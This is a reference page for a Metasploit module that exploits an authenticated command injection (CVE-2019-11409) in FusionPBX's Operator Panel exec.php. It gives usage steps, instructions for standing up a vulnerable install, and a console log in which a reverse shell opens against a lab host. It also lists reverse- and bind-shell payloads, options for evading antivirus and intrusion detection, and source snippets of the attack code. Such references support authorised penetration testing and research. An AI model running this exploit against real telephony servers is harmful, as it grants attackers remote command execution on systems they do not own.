FusionPBX Operator Panel exec.php Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: FusionPBX Operator Panel exec.php Command Execution
Module: exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
Source code: modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb
Disclosure date: 2019-06-06
Last modification time: 2019-11-01 22:17:26 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-11409
This module exploits an authenticated command injection
vulnerability in FusionPBX versions 4.4.3 and prior. The
exec.php file within the Operator Panel permits users with
operator_panel_view permissions, or administrator
permissions, to execute arbitrary commands as the web server
user by sending a system command to the FreeSWITCH event
socket interface. This module has been tested successfully
on FusionPBX version 4.4.1 on Ubuntu 19.04 (x64).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
msf exploit(fusionpbx_operator_panel_exec_cmd_exec) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The username for FusionPBX
PASSWORD: The password for FusionPBX
Knowledge Base
Description
This module exploits an authenticated command injection vulnerability in FusionPBX versions 4.4.3 and prior.
The exec.php file within the Operator Panel permits users with
operator_panel_view permissions, or administrator permissions,
to execute arbitrary commands as the web server user by sending
a system command to the FreeSWITCH event socket interface.
Vulnerable Software
This module has been tested successfully on FusionPBX version 4.4.1 on Ubuntu 19.04 (x64).
Software:
- https://www.fusionpbx.com/download
- https://github.com/fusionpbx/fusionpbx/releases
At time of writing, a vulnerable version can be tested by using the relevant install script for the target platform from the download link above, which automatically installs all required dependencies, including FreeSWITCH and the latest version of FusionPBX.
The version of FusionPBX can then be downgraded to a vulnerable version by replacing the web root directory with the contents of a vulnerable version, such as version 4.4.1, from the GitHub releases link above.
On Ubuntu, downgrading can be performed as follows:
mv /var/www/fusionpbx /var/www/fusionpbx-latest
mkdir ~/hackyhackhack/ && cd ~/hackyhackhack/
wget https://github.com/fusionpbx/fusionpbx/archive/4.4.1.zip
unzip 4.4.1.zip
mv fusionpbx-4.4.1 /var/www/fusionpbx
In the future, downgrading may not be as simple as replacing the web root directory contents.
Verification Steps
- Start
msfconsole - Do:
use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec - Do:
set rhosts <IP> - Do:
set username <username> - Do:
set password <password> - Do:
run - You should get a new session
Options
TARGETURI
The base path to FusionPBX (default: /)
USERNAME
The username for FusionPBX
PASSWORD
The password for FusionPBX
Scenarios
msf5 > use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set rhosts 172.16.191.214
rhosts => 172.16.191.214
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set username test
username => test
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set password wBXxcY4LTAsMd46!
password => wBXxcY4LTAsMd46!
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > run
[*] Started reverse TCP double handler on 172.16.191.165:4444
[+] Authenticated as user 'test'
[*] Sending payload (295 bytes) ...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ULzaVUoa3XPSZANH;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "ULzaVUoa3XPSZANH\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.191.165:4444 -> 172.16.191.214:57626) at 2019-11-01 15:54:42 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/
uname -a
Linux ubuntu-19-04-x64 5.0.0-32-generic #34-Ubuntu SMP Wed Oct 2 02:06:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/fusionpbx_operator_panel_exec_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
[*] Using configured payload cmd/unix/reverse
msf6 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > show info
Name: FusionPBX Operator Panel exec.php Command Execution
Module: exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-06-06
Provided by:
Dustin Cobb
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic (Unix In-Memory)
1 Automatic (Linux Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password for FusionPBX
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to FusionPBX
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes The username for FusionPBX
VHOST no HTTP server virtual host
Payload information:
Avoid: 5 characters
Description:
This module exploits an authenticated command injection
vulnerability in FusionPBX versions 4.4.3 and prior. The `exec.php`
file within the Operator Panel permits users with
`operator_panel_view` permissions, or administrator permissions, to
execute arbitrary commands as the web server user by sending a
`system` command to the FreeSWITCH event socket interface. This
module has been tested successfully on FusionPBX version 4.4.1 on
Ubuntu 19.04 (x64).
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-11409
https://www.exploit-db.com/exploits/46985
https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html
https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611
Module Options
This is a complete list of options available in the unix/webapp/fusionpbx_operator_panel_exec_cmd_exec exploit:
msf6 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > show options
Module options (exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password for FusionPBX
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to FusionPBX
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes The username for FusionPBX
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/fusionpbx_operator_panel_exec_cmd_exec exploit:
msf6 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > show advanced
Module advanced options (exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, curl, wget)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/fusionpbx_operator_panel_exec_cmd_exec module can exploit:
msf6 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic (Unix In-Memory)
1 Automatic (Linux Dropper)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/fusionpbx_operator_panel_exec_cmd_exec exploit:
msf6 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/fusionpbx_operator_panel_exec_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Connection failed
- Login failed for user '<USER>'
- Unexpected HTTP response status code <RES.CODE>
- Failed to retrieve PHPSESSID cookie
- Connection failed
- Connection failed
- Unexpected HTTP response status code <RES.CODE>
- User <USERNAME> does not have permission to access the Operator Panel
- <PEER> - Target is not vulnerable
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
81: 'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
82: 'vars_post' => vars_post
83: })
84:
85: unless res
86: fail_with Failure::Unreachable, 'Connection failed'
87: end
88:
89: if res.code == 302 && res.headers['location'].include?('login.php')
90: fail_with Failure::NoAccess, "Login failed for user '#{user}'"
91: end
Login failed for user '<USER>'
Here is a relevant code snippet related to the "Login failed for user '<USER>'" error message:
85: unless res
86: fail_with Failure::Unreachable, 'Connection failed'
87: end
88:
89: if res.code == 302 && res.headers['location'].include?('login.php')
90: fail_with Failure::NoAccess, "Login failed for user '#{user}'"
91: end
92:
93: unless res.code == 200
94: fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
95: end
Unexpected HTTP response status code <RES.CODE>
Here is a relevant code snippet related to the "Unexpected HTTP response status code <RES.CODE>" error message:
89: if res.code == 302 && res.headers['location'].include?('login.php')
90: fail_with Failure::NoAccess, "Login failed for user '#{user}'"
91: end
92:
93: unless res.code == 200
94: fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
95: end
96:
97: cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first
98:
99: unless cookie
Failed to retrieve PHPSESSID cookie
Here is a relevant code snippet related to the "Failed to retrieve PHPSESSID cookie" error message:
95: end
96:
97: cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first
98:
99: unless cookie
100: fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
101: end
102:
103: print_good "Authenticated as user '#{user}'"
104:
105: cookie
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
109: res = send_request_cgi({
110: 'uri' => normalize_uri(target_uri.path)
111: })
112:
113: unless res
114: vprint_error 'Connection failed'
115: return CheckCode::Unknown
116: end
117:
118: if res.body.include?('FusionPBX')
119: return CheckCode::Detected
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
129: 'vars_get' => {'cmd' => "bg_system #{cmd}"}
130: }, 5)
131:
132: unless res
133: return if session_created?
134: fail_with Failure::Unreachable, 'Connection failed'
135: end
136:
137: unless res.code == 200
138: fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
139: end
Unexpected HTTP response status code <RES.CODE>
Here is a relevant code snippet related to the "Unexpected HTTP response status code <RES.CODE>" error message:
133: return if session_created?
134: fail_with Failure::Unreachable, 'Connection failed'
135: end
136:
137: unless res.code == 200
138: fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
139: end
140:
141: if res.body.include? 'access denied'
142: fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel"
143: end
User <USERNAME> does not have permission to access the Operator Panel
Here is a relevant code snippet related to the "User <USERNAME> does not have permission to access the Operator Panel" error message:
137: unless res.code == 200
138: fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
139: end
140:
141: if res.body.include? 'access denied'
142: fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel"
143: end
144:
145: res
146: end
147:
<PEER> - Target is not vulnerable
Here is a relevant code snippet related to the "<PEER> - Target is not vulnerable" error message:
145: res
146: end
147:
148: def exploit
149: unless check == CheckCode::Detected
150: fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
151: end
152:
153: @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
154:
155: print_status "Sending payload (#{payload.encoded.length} bytes) ..."
Go back to menu.
Related Pull Requests
References
- CVE-2019-11409
- EDB-46985
- https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html
- https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/fusionpbx_exec_cmd_exec
- exploit/unix/webapp/zpanel_username_exec
- exploit/unix/webapp/ajenti_auth_username_cmd_injection
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
- exploit/unix/webapp/opennetadmin_ping_cmd_injection
- exploit/unix/webapp/rconfig_install_cmd_exec
- exploit/unix/webapp/vicidial_manager_send_cmd_exec
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- exploit/unix/webapp/xymon_useradm_cmd_exec
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/linux/local/zpanel_zsudo
- exploit/multi/http/agent_tesla_panel_rce
- exploit/multi/http/zemra_panel_rce
- exploit/multi/http/zpanel_information_disclosure_rce
Authors
- Dustin Cobb
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
